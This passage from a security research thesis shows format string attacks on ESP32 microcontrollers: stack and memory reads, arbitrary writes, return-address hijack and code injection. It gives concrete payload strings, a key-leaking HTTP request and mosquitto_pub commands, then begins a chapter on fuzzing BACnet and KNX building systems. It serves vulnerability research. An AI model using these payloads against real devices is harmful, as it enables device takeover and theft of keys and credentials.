the size of the file object buffer is 0x1e3 but the write width is one byte due to using the "%hhn" 

parameter, then the format function will write 0xe3. 

4.3.6 Control Flow Hijack 

It is possible to use the format string attack to hijack the control flow of a program running on 

the ESP32. An adversary can do this by overwriting the return address of a subroutine with an 

address of his choosing, similar to a buffer overflow attack. Then when the program executes the 

RETW instruction, the program counter will be replaced with the overwritten return address, and 

the program will begin executing instructions at that address. However, on Xtensa LX6, the 
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return address of a subroutine is stored in register A0 rather than memory; thus, a software attack 

cannot overwrite it directly. Here, we describe how an adversary can overcome this challenge. 

An adversary can leverage the window overflow exception described previously to hijack the 

control flow. We observe that ESP32’s implementation of Newlib contains format string 

functions whose call stacks are large enough to trigger the window overflow exception. In 

particular, we observe that when a function calls a format string function such as printf(), the 

calling function’s return address is dumped to memory until the program returns to that function. 

During the time where the calling function’s return address is in memory, an adversary can use 

the format string attack to overwrite the return address. After the program returns to the calling 

function, the modified return address is restored back to register A0. Finally, when the calling 

function executes RETW, the program jumps to the attacker-controlled address specified by A0 

instead of the original return address. The following pseudocode demonstrates the principle of 

the attack: 

void mal() {…}; 

void app_main(){ 

char buf[30] = “<addr> %Nx %6$hn”; 

printf(buf); 

} 

In this code, we can assume that mal() never calls app_main() during normal execution. As the 

program calls the format function from app_main(), it makes various calls to intermediate 

functions, eventually leading to a window overflow exception which dumps the registers of 

app_main() to memory. As discussed previously, register A0 (the return address) is dumped to 

the Base Save Area. Specifically, we find that register A0 is dumped to SPprintf −16, where SPprintf 
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is the stack pointer of the printf() stack frame. Figure 4.6 demonstrates a control flow hijack by 

overwriting the return address of a function with the entry address of abort(). 

 

Figure 4.6: Performing control flow hijack by overwriting the return address 

If SPprintf is known, then control flow hijack is relatively straightforward, and the adversary must 

construct buf as follows. First, <addr> must be set to SPprintf −16. Second, the adversary must 

overwrite this value with another valid address. Since all instructions in the ESP32 address space 

have a MSB of 0x40, then in the worst case, the adversary only needs to overwrite the last 3 

bytes of the return address. 

4.3.7 Code Injection 

As we have demonstrated, the format string attack can be used to both write and execute code in 

some sections of instruction RAM. To write an instruction to memory, the corresponding 

instruction bytecode must be written, while the control flow hijack method can be used to jump 

to that instruction afterwards. These sections are therefore susceptible to code injection. We 

present two methods for crafting a code injection payload. The first method, Direct Parameter 
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Access, is simpler to implement but has practical limitations such as a smaller maximum payload 

size. The second option, Linear Parameter Access, avoids these limitations but requires a slightly 

more complicated implementation. 

 

Figure 4.7: An overwritten return address, which points to code injected by the attacker. 

Figure 4.7 and Figure 4.8 demonstrate the code injection attack in practice. Figure 4.8 shows an 

overwritten return address, which was captured in GDB using ESP32’s JTAG debugger. Figure 

4.8 shows the memory contents at this address, which consists of 5 instructions which were 

injected by the adversary.  

 

Figure 4.8: Attacker-injected code on the ESP32. 

Direct Parameter Access. The first approach uses direct parameter access to write to addresses 

on the stack in an adversary-specified order. It consists of the following structure: 

char buf[100] =  

 “<ex_addr>”            // C1 

“<ex_addr + 4>” 

“<ex_addr + 8>” 

… 
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“<ex_addr + X>” 

“<ret_addr>”     // C2 

“<ret_addr + 1>” 

“<ret_addr + 2>” 

“%Nx%Y$hhn”       // C3 

“%Nx%Y$hhn” 

“%Nx%Y$hhn” 

“%Nx%Z$n”          // C4 

… 

“%Nx%Z$n”; 

printf(buf); 

The code injection buffer consists of four components, labeled C1, C2, C3, and C4 in the 

pseudocode. These components are further explained below. 

C1 places the addresses that the adversary wishes to execute onto the stack. The addresses range 

from <ex_addr> to <ex_addr + X>, where X is some number of bytes. The ESP32 requires that 

memory accesses to instruction RAM are 32-bit aligned and sized; therefore, we assume that all 

addresses in C1 comply with these requirements. 

C2 places the last 3 bytes of the caller function’s return address dump location, labeled 

<ret_addr>, onto the stack. The MSB of this address is not needed because this byte carries 

information about the register window shift during the function entry, and it is not used when the 

ESP32 reads the return address. 

C3 carefully increases the size of the file object buffer and writes the buffer’s current size to each 

address placed in C2. The “%Nx” parameter increases the file object buffer by N bytes and the 

“%Y$hhn” parameter writes the current size of the buffer to the Y’th argument in the format 

string, which is either <ret_addr>, <ret_addr + 1>, or <ret_addr + 2>. Therefore, C3 will 
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overwrite the last 3 bytes of the caller function’s return address with the last 3 bytes of 

<ex_addr>, while the MSB is left unmodified. 

Finally, C4 carefully increases the size of the file object buffer and writes the buffer’s current 

size to each address placed in C1. The “%Z$n” parameter writes the current size of the buffer to 

the Z’th argument in the format string, which points to an address in C1. In this way, C4 can 

overwrite the target memory region with adversary-controlled bytecode. 

Construction of the code injection attack presents a practical challenge to an adversary. There is 

a need to constantly increase the size of the file object buffer, which causes significant 

computational overhead. For example, the instruction l32i A11, A8, 96 has a corresponding 

bytecode of 0x1828b2, and the format string attack would need to increase the size of the file 

object buffer by this many bytes before writing to the target address, which is not feasible due to 

the time cost of such an operation. Furthermore, since the instruction bus always accesses code 

in 32-bit words, the adversary must inject bytecode at 32-bit granularity, which makes it difficult 

to minimize the size of the bytecode. 

We present two strategies to mitigate the challenge described above. The first strategy is to 

minimize the bytecode size by replacing the upper half of an address in C1 with the 16-bit 

instruction mov.n A0, A0, which effectively serves as a NOP, although the true NOP bytecode is 

much larger (0xf03d). In contrast, our alternative NOP instruction has a corresponding bytecode 

of 0x000d. The second strategy is to inject the instruction bytecodes into C1 in ascending order, 

according to the bytecode size. If the adversary attempts to write to each address in C1 linearly, 

then there may be an issue where an instruction that occurs later in the payload has a smaller 
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bytecode equivalent than a previous instruction in the payload, and there is no feasible way to 

reduce the size of the file object buffer to the required size. 

The following proof-of-concept illustrates how the format string attack can be used for code 

injection. Suppose an adversary wants to inject the following instructions into SRAM, starting at 

address 0x40080104: 

mov.n A11, 30   // Bytecode 0xbe1c 

mov.n A10, 20    // Bytecode 0x4a1c 

retw.n        // Bytecode 0xf01d 

If the adversary ignores the first strategy discussed about, then he must inject the bytecode 

0x4a1cbe1c into address 0x40080104 and the bytecode 0xf01d into address 0x40080108. The 

first bytecode requires the adversary to increase the file object buffer to 0x4a1cbe1c bytes, which 

has significant time cost and computational cost. Furthermore, if the application is multi-

threaded, then other tasks may stall during this time, which may be detected by the device owner. 

Thus, the adversary can employ the first strategy by prepending each address with the NOP 

bytecode 0x000d; thus, he can inject the bytecode 0xdeb1c into address 0x40080104, bytecode 

0xd4a1c into address 0x40080108, and bytecode 0xf01c into address 0x4008010c. The adversary 

will therefore injection the following payload into SRAM: 

mov.n A11, 30   // Bytecode 0xbe1c 

mov.n A0, A0    // Bytecode 0x000d 

mov.n A10, 20  // Bytecode 0x4a1c 

mov.n A0, A0   // Bytecode 0x000d 

retw.n      // Bytecode 0xf01d 

To successfully inject this code into SRAM, the adversary can construct the following payload: 
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buf[100] =  

“\x04\x01\x08\x40”   // S1   // C1 

“\x08\x01\x08\x40”   // S2 

“\x0c\x01\x08\x40”  // S3 

“\xf0\x45\xfb\x3f”    // S4   // C2 

“\xf1\x45\xfb\x3f”   // S5 

“\xf2\x45\xfb\x3f”   // S6 

“%233x%10$hhn”  // S7   // C3 

“%259x%9$hhn”    // S8 

“%260x%11$hhn”  // S9  

“%60693x%8$n”    // S10  // C4 

“%809471x%7$n”  // S11 

“%41216x%6$n”;    // S12 

printf(buf); 

As shown in the pseudocode, C1 places addresses 0x40080104, 0x40080108, and 0x4008010c 

onto the stack; C2 places addresses 0x3ffb45f0, 0x3ffb45f1, and 0x3ffb45f2 onto the stack, since 

the return address of app_main() is dumped to 0x3ffb45f0 in our sample application; C3 

overwrites app_main()’s return address with 0x40080104; C4 injects the bytecode into the 

addresses placed on the stack by C1. It can be observed that in components C3 and C4, bytecode 

is injected out-of-order (i.e., not in the order specified by the addresses on the stack); this is to 

implement the second strategy discussed above and inject bytecode in ascending order, from 

smallest to largest. 

We have further divided the format string payload into 12 distinct steps, which are explained 

below: 

• S1: The adversary places 0x40080104 onto the stack. The file object buffer is increased to 4 

bytes. 
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• S2: The adversary places 0x40080108 onto the stack. The file object buffer is increased to 8 

bytes. 

• S3: The adversary places 0x4008010c onto the stack. The file object buffer is increased to 12 

bytes. 

• S4: The adversary places 0x3ffb45f0 onto the stack. The file object buffer is increased to 16 

bytes. 

• S5: The adversary places 0x3ffb45f1 onto the stack. The file object buffer is increased to 20 

bytes. 

• S6: The adversary places 0x3ff45f2 onto the stack. The file object buffer is increased to 24 

bytes. 

• S7: The adversary increases the size of the file object buffer by 233 bytes. The new size is 

257 = 0x101 bytes. The bytecode 0x101 is written to address 0x3ffb45f1. Since the write 

width is restricted to one byte per the “%hhn” parameter, the actual value written is 0x01. 

• S8: The adversary increases the file object buffer by 259 bytes. The new size is 516 = 0x204 

bytes. The value 0x04 is written to address 0x3ffb45f0. 

• S9: The adversary increases the size of the file object buffer by 260 bytes. The new size is 

776 = 0x308 bytes. The value 0x08 is written to address 0x3ffb45f2. This concludes the 

control flow hijack stage, and the return address is now 0x40080104. 

• S10: The adversary increases the size of the file object buffer by 60693 bytes. The new size 

is 61469 = 0xf01d bytes. This bytecode is written to address 0x4008010c. 

• S11: The adversary increases the size of the file object buffer by 809471 bytes. The new size 

is 870940 = 0xd4a1c. This bytecode is written to address 0x40080108. 
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• S12: The adversary increases the size of the file object buffer by 41216 bytes. The new size 

is 912156 = 0xdeb1c bytes. This bytecode is written to address 0x40080104. This concludes 

the code injection stage. 

A drawback of direct parameter access is that the size of the adversary’s payload is bounded by 

the "%Y$n" parameter for direct parameter access. In the implementation of Newlib on ESP32, 

the maximum value of Y is 32. Since three parameters are needed to store the three bytes of the 

return address and the first five parameters access registers A11 through A15, this leaves the 

adversary 24 parameters available to inject a payload. Assuming half of them are dedicated to 

injecting NOP instructions, this reduces the maximum number of total useful instructions to 12. 

However, the adversary can overcome this limitation by utilizing linear parameter access, which 

we discuss next. 

Linear Parameter Access. Using linear parameter access, the adversary will place the addresses 

themselves in ascending order, according to the bytecode size rather than the address value. 

Since the "%Nx" parameter increments the argument pointer by 4 bytes, addresses can be 

accessed in a linear order. The "%Nx" parameter can be used to increase the size of the file 

object pointer to the next successive bytecode value. Unlike direct parameter address, there is no 

upper bound for incrementing the argument pointer linearly. Therefore, the adversary’s payload 

is only bounded by the size of the buffer. However, the "%n" parameter (and similarly, "%hn" 

and "%hhn") also increments the argument pointer by 4 bytes, which slightly complicates the 

design of the payload. Since these parameters increment the argument pointer, the addresses 

cannot be stored adjacent to each other in the payload. To resolve this issue, the adversary can 

simply inject 4 placeholder bytes in between each address; the values of these bytes do not 
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matter. Then when the “%Nx” parameter increments the argument pointer, it passes over the 

placeholder bytes rather than a target address, and no addresses are skipped. 

When considering the same payload injected before, an adversary can successfully perform the 

code injection attack using linear parameter access by constructing the following payload: 

char buf[120] =  

“\xe0\x46\xfb\x3f”      // C1 

 “AAAA\xe1\x46\xfb\x3f”   

 “AAAA\xe2\x46\xfb\x3f” 

 “AAAA\x0c\x01\x08\x40” // C2 

 “AAAA\x08\x01\x08\x40” 

 “AAAA\x04\x01\x04\x40” 

 “%*****216x%hhn”   // C3 

 “%253x%hhn” 

 “%263x%hhn” 

 “%60693x%n”       // C4 

 “%809471x%n” 

 “%41216x%n”; 

printf(buf); 

The four components of the code injection attack are labeled once again, but their ordering is 

different from before. Namely, C1 places addresses 0x3ffb45f0, 0x3ffb45f1, and 0x3ffb45f2 

onto the stack; C2 places address 0x4008010c, 0x40080108, and 0x40080104 onto the stack, in 

that order; C3 injects bytecode into the addresses placed on the stack by C1; and C4 injects 

bytecode into the addresses placed on the stack by C2. 

Since this approach avoids direct parameter access, the addresses injected by components C1 and 

C2 must be accessed linearly. For that reason, the adversary must ensure that the addresses in C2 

are written in ascending order, according to their bytecode size. For instance, since address 

0x4008010c will contain the bytecode 0xf01d, it must accessed before accessing address 
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0x40080108, which will contain the bytecode 0xd4a1c. Then the adversary can use the 

"%809471x" parameter to increase the size of the file object buffer from 0xf01d to 0xd4a1c. 

Finally, it can be seen that the placeholder string "AAAA" is injected in between each pair of 

addresses to handle the address adjacency issue discussed before. 

One drawback of the linear parameter access approach is that buf must be larger due to the usage 

of the placeholder strings. Since each adjacent pair of addresses must contain the placeholder 

string between them, it can be observed that the required number of placeholder bytes is equal to 

4 ∗ (X − 1), where X is the number of addresses contained in the payload. 

4.4 Attack Proof-of-Concepts 

The format string attacks described above were implemented in two vulnerable ESP32 

applications. The first application is an HTTP web server implemented in Arduino IDE. The 

application stores a private key. We steal this key using the format string attack. The second 

application is an MQTT client implemented in ESP-IDF. We demonstrate all proposed attacks 

against this application. 

HTTP Web Server. We have written a vulnerable program using the Arduino IDE, an 

alternative to the ESP-IDF development platform provided by Espressif. To serve a web server, 

ESP32 uses the Arduino WebServer library, which allows a server to process HTTP requests 

from the client and send responses back. A private key is also stored in the stack and contains the 

string value “THIS IS A PRIVATE KEY”. This application contains a format string vulnerability 

based on the sprintf() function in C. The sprintf() function sends the formatted output to a string 
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rather than standard out (UART). The expected syntax is sprintf(buf, "%s", param), where buf is 

a string and param is formatted as a string before being sent to buf. However, the syntax 

sprintf(buf, param) is vulnerable to the format string attack. In our attack, param is controlled 

directly by a HTTP GET request and buf is sent back to the client via HTTP response. 

To conduct the attack, the adversary can use any HTTP client application such as a browser to 

send the following request to the ESP32: 

http://<ip_addr>/?h=%25x+%25x+%25x+%25x+%25x+%25x+%25x+%25x+

%25x+%25x+%25x+%25x+%25x 

The server will receive the format string and parse it during the sprintf() instruction, which will 

leak the contents of the private key into buf. Figure 4.9 illustrates this attack in the sample 

application. 

 

Figure 4.9: Format string attack demonstration against a web server running on ESP32. The 

bytes beginning with “5349” correspond to a private key which is stored on the stack. 

MQTT Client. We have written an application using ESP-IDF that implements an MQTT client 

using the mqtt_client library. The client connects to a programmer-defined external message 

broker such as AWS IoT Core. After connecting to the broker, the ESP32 subscribes to the topic 

“/topic/qos0”. A separate client can then connect to the client and publish messages to this topic, 
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which the ESP32 will receive. We again introduce the sprintf() format string vulnerability in this 

application. The adversary can launch an attack by publishing a format string to the broker, who 

will forward it to the application. We demonstrate the feasibility of all our attacks using this 

application. 

To launch the remote format string attack, we start by running a local instance of the Mosquitto 

broker software on our attacker’s machine. The ESP32 and attacker machine are placed within 

the same network, and the ESP32 was configured to connect to Mosquitto. We use the 

Mosquitto_Pub software to publish messages to the ESP32. The attacker can send a message 

with the command mosquito_pub -h localhost -t /topic/qos0 -m <data>, and the ESP32 will 

receive the payload <data>. The prefix “mosquito_pub -h localhost -t /topic/qos0 -m” shall be 

shortened to “<prefix>” for readability. 

Reading the Stack. To read the stack contents, we use the command-line interpreter Bash to 

send the following payload: 

nl=$(echo “0a0d” | xxd -p -r) 

<prefix> $n1 \ 

Registers A11 – A15: %x %x %x %x %x $nl \ 

Stack frame: %x %x %x %x %x” 

This payload prints registers A11 through A15 as well as the first five values on the stack. The nl 

variable inserts newline characters into the output for readability. 

Reading Arbitrary Memory. To read from a memory address outside the stack, we send the 

following payload: 

addr=$(echo “ec2f403f” | xxd -p -r) 
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<prefix> “addr %6\$s” 

The address 0x3f402fec points to a string “MQTT_EXAMPLE” in external flash. We use the 

xxd tool to convert the address to bytecode before sending it the broker. 

Writing Arbitrary Memory. To write to a memory address, we send the following payload: 

addr="5098fc3f5198fc3f5298fc3f5398fc3f" 

addr_bin=$(echo addr | xxd -p -r) 

"$addr_bin%49x%6\$hhn %7\$hhn %8\$hhn %9\$n $nl %6\$s" 

The address 0x3ffc9850 is arbitrarily selected from the SRAM 2 memory region. We start by 

placing this address on the stack. Our goal is to overwrite the value stored at this memory 

address with the string "ABCD", which has a hex code of 0x41424344. To write the character 

"A", we increase the file object buffer’s size by 49 bytes, which increases it to 65 (0x41) bytes 

(note that addr_bin places 16 bytes on the stack). To write the character "B", we increase the 

buffer’s size by one byte and set the total size to 66 (0x42) bytes. To write "C", we increase the 

buffer size by one more byte, and to write "D", we increase it by another byte. Increasing the 

buffer size by 1 byte is done by adding a single whitespace between every "%N$hhn" parameter. 

Control Flow Hijack. To perform the control flow hijack attack, we send the following payload: 

addr="607efc3f617efc3f627efc3f" 

addr_bin=$(echo addr | xxd -p -r) 

<prefix> "$addr_bin%112x%6\$hhn%103x%7\\$hhn%37x%8\$hhn" 
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The address 0x3ffc7e60 is where the return address of the calling function is dumped due to the 

window overflow exception. The return address is overwritten with the value 0x4008e37c, which 

points to the abort() function. 

Code Injection. To perform the code injection attack, we send the following payload: 

ret="607efc3f617efc3f627efc3f" 

ret_bin=$(echo ret | xxd -p -r) 

target="04010840080108400c010840" 

target_bin=$(echo target | xxd -p -r) 

<prefix> "$target_bin$ret_bin\ 

 %233x%10\$hhn\  

 %259x%9\$hhn\  

 %260x%11\$hhn\  

 %60693x%8\$n\ 

 %809471x%7\$n\  

%41216x%6\$n" 

Similar to the previous attack, the address 0x3ffc7e60 contains the return address. This attack 

injects code starting at 0x40080104, which will be executed when the program returns from the 

calling function. 

4.5 Related Work 

In this Section, we discuss some software and hardware attacks that have targeted ESP32 and 

ESP8266 [78] in recent years. 

Hardware Exploits. Researchers have exposed critical hardware vulnerabilities on ESP32-based 

smart devices. Recently, the LIFX Mini smart bulb was found to not implement flash encryption 

or secure boot, and JTAG was left completely open, leading to a full extraction of firmware 
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details including WiFi credentials and a private RSA key [79]. A similar attack was performed 

on the WIZ smart bulb [80]. Researchers also performed a voltage glitching attack on the ESP32 

ROM with full security settings enabled, triggering a full readout of the security keys [5]. The 

latter attack cost several hundred dollars and could only be addressed with a major hardware 

revision [81]. 

Software Exploits. Researchers have reported several vulnerabilities that affect ESP32 and 

ESP8266 software libraries. The Zero PMK Installation vulnerability affects the EAP 

authentication framework; attackers could force the Pairwise Master Key (PMK) to default to 0 

and hijack a connection [82]. In another vulnerability with the EAP framework, ESP32 will send 

an "EAPoL-Start" packet to the AP; if a malicious AP responds with a "success" packet, the 

ESP32 will crash. In NONOS SDK (the official ESP8266 developer framework) 3.0 and earlier, 

the 802.11 MAC library fails to validate the bounds of the AuthKey Management (AKM) Suite 

Count value as well as the Pairwise Suite Count value. A malicious AP can send an arbitrarily 

large AKM packet and trigger a crash [83]. Note that ESP-IDF version 3.3 and NONOS version 

3.1 address all of the aforementioned vulnerabilities. Carel Van Rooyen and Philipp Promeuschel 

have shown that some ESP32 applications may be vulnerable to a stack-based buffer overflow 

attack if stack smashing protection is not enabled by the compiler [84]. In contrast, our attacks do 

not depend on any particular library implementations. We are also the first to explore format 

string attacks and code injection attacks on the ESP32. 



105 

 

4.6 Conclusion 

In this Chapter, we discuss the feasibility of major software attacks against IoT devices such as 

the ESP32 class of MCUs. The format string bug is simple and easy for developers to overlook, 

and an adversary can use it steal data or even compromise the application flow integrity. 

Although the ESP32’s processor utilizes the Harvard architecture, we show that code can be 

injected into the instruction address space. Although we largely emphasize format string attacks 

in this work, they are not the only threat; the ESP32 is also susceptible to stack-based buffer 

overflow attacks, which are similarly easy to overlook during the development process. With 

these attacks, any sensitive data such as WiFi credentials or private keys can be stolen from IoT 

devices.  
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CHAPTER 5:  FUZZING BUILDING AUTOMATION SYSTEMS 

In this Chapter, we propose, implement, and evaluate a complete fuzzing model for BAS that 

targets both the BAS devices themselves and the frameworks used to control them. Our model, 

called BASH (Building Automation Systems Hacking) targets both the BAS devices themselves 

and the frameworks used to control them. BASH does not require knowledge of the underlying 

BAS protocol; instead, our key insight is that the software frameworks themselves can reveal 

complex, interesting details about the protocols (and by extension, the software and hardware) 

using off-the-shelf tools and methods such as dynamic instrumentation and network monitoring. 

By instrumenting the software frameworks and carefully analyzing request-response sequences, 

BASH can gain insight into the BAS protocol and fuzz more intelligently. We evaluated BASH 

on 4 BACnet devices, 6 KNX devices, and 6 software frameworks encompassing BACnet and 

KNX. In total, BASH discovered 11 previously unknown bugs and vulnerabilities. All bugs can 

be triggered by a remote adversary. This Chapter highlights the emerging need to apply software 

security principles to smart buildings.4 

5.1 Background 

In this section, we present an overview of BAS, particularly the KNX and BACnet 

communication protocols. We then provide a background on fuzz testing principles and the 

challenges of applying fuzzing to BAS devices and software. 

 
4 At the present time, the contents of this Chapter have not been published, accepted, or submitted for publication. 
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5.1.1 Building Automation Systems 

In cyber-physical systems (CPS), BAS refers to the control, automation, and monitoring of 

physical components and appliances within a building. These components and appliances include 

heating, ventilation, and air-conditioning (HVAC) systems, lighting, shading, presence detectors, 

security systems, and various other sensors and actuators. A BAS deployment contains at least 

one centralized administrator which can monitor and manage the entire network. BAS 

management software is commonly distributed as proprietary, licensed software frameworks and 

specific to the BAS communication protocol, such as KNX or BACnet. This integration of 

building automation and centralized management is commonly called a “smart building”. 

To enable communication with a breadth of devices across a potentially large physical area, it is 

common for BAS protocols to support IP-layer communication and form a distributed network. 

Devices which do not support IP may connect to a controller or actuator via physical wiring, 

such as twisted pair. The controllers/actuators in turn may support IP and communicate 

wirelessly with the rest of the network. For instance, a complex BAS network, which spans 

multiple building floors (or even multiple buildings) may require routing of traffic across several 

destinations. KNX and BACnet both support IP-layer communication. 

KNX: KNX is a popular building automation protocol that was developed to meet the needs of 

residential and commercial building applications. KNX is administered by the KNX Association 

and is especially popular in European and Asian countries. KNX was influenced by three 

previous building automation standards: European Installation Bus (EIB), European Home 

Systems Protocol (EHS), and BatiBUS. KNX can be implemented on a variety of systems of 
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hardware, ranging from low-power microcontrollers (MCU) to powerful PCs. It supports 

communication over various physical media, including IP, twisted pair, radio frequency, and 

powerline. 

The KNX topology can be organized logically according to the individual address of each 

device. Individual addresses are 16 bits in length and have the form x.y.z. Devices can be 

organized into a logical structure called a “line”. All devices in a line are connected to a special 

KNX device called a “line coupler”, which in turn can connect to an “area coupler”. An area 

coupler may connect to up to 15 different line couplers, each of which connects up to 255 unique 

KNX devices; this entire logical structure is called an “area”. Area couplers can also connect to 

other area couplers, and the KNX network can contain up to 15 total areas. Couplers implement 

various functions for the network such as routing, tunnelling, repeating, bridging, filtering, and 

so forth. 

KNX devices may offer a number of services and expose different variables and functions, 

which are collectively called “datapoints.” Some datapoints manifest as object properties, which 

may be device-specific or application-specific. A collection of properties is called an “object”. 

Objects and properties are indexed. Object 0 always refers to the “device” object, and properties 

of that object refer to device-specific properties, such as the manufacturer ID. A client can read 

the manufacturer ID by sending a read request to that device's individual address, along with the 

appropriate object ID and property ID. Other datapoints are addressable through 16-bit “group 

addresses,” which have the form x/y/z. These datapoints are called group objects. A client can 

request to read or write to a group object by specifying its assigned group address. Unlike the 

individual address, which is device-specific, group addresses are not unique and may map to 
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multiple group objects across several KNX devices. A special KNX device called an “interface” 

connects the client to the rest of the KNX network. When the client sends a request, the interface 

passes it to the appropriate device(s). 

Individual addresses and group addresses are configured by setting a device into program mode, 

which can be accomplished by performing a physical task such as pressing a button on the device 

and writing the addresses to the application's address table. Besides these addresses, an 

administrator can use programming mode to download various application-specific parameters 

and settings to the devices. Device configuration and monitoring is typically performed using the 

Engineering Tool Software (ETS) framework, which is also developed by the KNX Association. 

KNX supports IP-layer communication via KNXnet/IP to enable remote configuration, 

monitoring, and operation. In this network, a special KNX device called a KNXnet/IP server 

connects the KNX network to the IP network. A PC-based client can connect to this server using 

unicast or multicast communication. KNXnet/IP offers several high-level services on top of 

KNX. \Core services include device discovery, device self-descriptions, and communication 

channel establishment. \Device Management services include management and configuration of 

the KNXnet/IP server. Tunnelling services include configuration, monitoring, and operation of 

any devices connected to the KNXnet/IP server on the KNX network. Finally, Routing services 

include routing of KNX data through multiple KNXnet/IP servers in the network; routed data can 

encompass either data management services or tunnelling services. Device management and 

tunnelling services are “confirmed”, which means they require the telegram recipient to respond 

with an ACK telegram before proceeding with the connection. Core and routing services are not 

confirmed. 
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BACnet: BACnet is another popular building automation protocol that is more popular in the 

United States and Canada than KNX. BACnet was developed by the American Society of 

Heating, Refrigerating, and Air-Conditioning Engineers (ASHRAE). Functionally, BACnet 

operates similarly to KNX and can be used to configure, operate, and monitor BAS equipment 

using centralized tools and software. BACnet can be implemented by a variety of physical and 

link layers such as MSTP, PTP, Ethernet, and LonTalk, while implementing its own network 

layer and application layer. BACnet/IP enables remote BACnet communication on an IP 

network, commonly through UDP on port 47808. In this case, the network and application layers 

are encapsulated within the UDP payload to be passed to other devices. 

BACnet organizes device data into structures called “objects”, and each object may have a list of 

characteristics called “properties”. Examples of objects are the Analog Input object, which 

allows a client to read sensor values, including those represented by floating-point values; 

Analog Value, which describe characteristics about the device which can optionally be 

configured by a client; and Binary Value, which describe binary characteristics such as whether a 

heater is active or not. The Analog Input object contains properties such as an object name, 

object description, object identifier, the present value, and so forth. Objects are also indexed to 

allow multiple instances of the same object type. For example, a device may have three Analog 

Input objects such as a temperature sensor, humidity sensor, and CO2 sensor; a client can access 

their present values by using the Analog Input object identifier (0), the appropriate object index 

(0, 1, or 2), and the Present Value property identifier (85). 

To access or modify data, BACnet offers a variety of services organized into five distinct classes. 

Remote Device Management Services enable monitoring and configuration of devices. Object 
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Access Services enable object and property access within devices. File Access Services allows 

read and write access to files stored on a BACnet device. Alarm and Event Services are passed 

between devices when certain conditions are met. Finally, Virtual Terminal Services allow 

connection-oriented communication between a client and the device to enable access to its 

objects and properties. 

5.1.2 Fuzzing Embedded Systems 

Fuzzing has been used to catch bugs in different hardware targets, such as IoT MCUs and 

industrial-grade microprocessors (MPUs). The main challenge here is that fuzzers are limited to 

blackbox fuzzing, since the fuzzer and target firmware run on separate systems. Therefore, code 

coverage is either severely limited or nonexistent. To address this, two primary methods can be 

used to improve the fuzzer. The first method, firmware emulation, requires that the user partially 

or fully emulate the target firmware on the host system. The firmware can then be instrumented, 

and code coverage can be properly measured. However, this method requires access to the raw 

firmware binary, which is not always practical. For instance, the binary may not be available 

online, and reverse engineering may not be feasible. The second method is to employ greybox or 

whitebox fuzzing techniques to software which communicates with the hardware target, inferring 

new code coverage based on the behavior of the software. This method requires access to the 

aforementioned software and is still limited to code coverage estimation. However, it does not 

require direct access to the firmware. 



112 

 

5.2 BASH: Building Automated System Fuzzing 

In this section, we describe our proposed method for designing a BAS fuzzer. We begin by 

describing the practical challenges of fuzzing BAS applications. We then discuss the general 

approach of collecting session samples between the smart building software and the devices, 

probing the sessions to classify packets and learn protocol details, instrumenting the smart 

building software to gain further insights into the protocol, and finally running the fuzzer against 

the targets. 

5.2.1 Challenges 

While fuzzing can be an effective method for discovering bugs quickly and automatically, 

fuzzing BAS systems presents several major challenges that must be addressed. We have split 

these challenges into three separate categories: protocol challenges, which arise from the 

protocol irrespective of the specific smart building software or hardware; hardware challenges, 

which arise from the BAS devices; and software challenges, which arise from the software 

frameworks used to control the devices. 

Protocol Challenges: The communication protocol spoken by the BAS devices can present 

several challenges to a fuzzer. Protocols can be highly complex in structure because packets 

typically contain multiple network layers of information. For instance, while BACnet/IP packets 

are commonly delivered over UDP, the UDP payloads themselves contain information about the 

communication medium, including the network layer, transport layer, and application layer. A 

naive mutation fuzzer may corrupt the information relevant to the communication medium, 
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which may lead the destination host to either respond with an error message or ignore the request 

altogether; in either case, such an approach would likely generate many wasteful fuzzy requests. 

Another issue is that packets may contain context-sensitive metadata such as special counters 

and length fields. Figure 5.1 provides an example of a BACnet request which contains magic 

bytes, length fields, and counter fields. A fuzzer must be able to generate valid values for these 

fields, otherwise the whole packet may be discarded. 

 

Figure 5.1: A sample BACnet property read request. BASH can discover the labelled fields and 

fuzz property read requests more intelligently. 

Another challenge is that some messages may need to occur in a particular sequence, or they 

may be rejected by the destination host. Without knowledge of the correct sequence, a fuzzer 

may not be able to reach deep code within the target. Figure 5.2 illustrates this challenge using 

KNXnet/IP’s tunnelling service, which can be used to read and modify data in a KNX device. 

The tunnelling service allows a KNX client, such as the Engineering Tool Software (ETS) smart 

building framework, to communicate with KNX devices via an intermediate IP interface, which 
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we refer to as the KNX server. Data flow occurs in the form of Application Layer Protocol 

Control Information (APCI).  

 

Figure 5.2: KNX flowchart for a tunnelling connection. The leftmost flowchart describes how to 

connect to a KNX server (e.g., an interface such as a router). The middle flowchart describes 

data flow. The rightmost flowchart describes how to disconnect from the KNX server. BASH 

can identify and preserve the order of this sequence. 

As indicated by step 4 in the figure, the KNX client may send a tunnel request with the specified 

APCI data, and the KNX server will respond with the appropriate APCI response, as indicated at 
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the end of step 6. However, as evidenced by the rest of the figure, data flow of a tunnelling 

connection actually requires a complex sequence of packets, which is detailed as follows:  

1. The client first opens a tunnel connection to the server (Tunnel ConnectReq) and receives 

a response with the status of the connection (Tunnel ConnectResp). 

2. The client requests to connect to the underlying transport layer of the server (TunnelReq 

L_Data.Req (Connect)). The server acknowledges the tunnel request (TunnelAck) and 

confirms the connect request (TunnelReq L_Data.Con (Connect)). 

3. The client acknowledges the server’s confirmation (TunnelAck). 

4. The client sends a data request via APCI (TunnelReq L_Data.Req ()). The server 

acknowledges (TunnelAck) and confirms (TunnelReq L_Data.Con ()) the APCI request. 

5. The client acknowledges the server’s confirmation (TunnelAck). The server sends a 

transport layer acknowledgement (TunnelReq L_Data.Ind (ACK)). 

6. The client acknowledges the transport layer acknowledgement (TunnelAck). The server 

finally sends the response to the APCI request (TunnelReq L_Data.Ind ()). 

7. The client acknowledges receipt of the data (TunnelAck). Then the client sends a 

transport layer acknowledgement request (TunnelReq L_Data.Req (ACK)). The server 

acknowledges (TunnelAck) and confirms (TunnelReq L_Data.Con (ACK)) the request. 

8. The client acknowledges the confirmation (TunnelAck). 
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9. The client requests to disconnect from the underlying transport layer of the server 

(TunnelReq L_Data.Req. The server acknowledges (TunnelAck) and confirms 

(TunnelReq L_Data.Con (Disconnect)) the request. 

10. Finally, the client requests to close the tunnel connection (DisconnectReq). The server 

responds with the status of the close request (DisconnectResp). 

The data flow described above makes fuzzing of the KNX tunnelling service nontrivial. To send 

fuzzy APCI data consistently and reliably, the fuzzer must know to 1) open the tunnel connection 

(steps 1 - 3); 2) send the appropriate acknowledgment frames as necessary; 3) eventually 

terminate the tunnel connection (steps 9 - 10). If the client fails to perform any of these actions, 

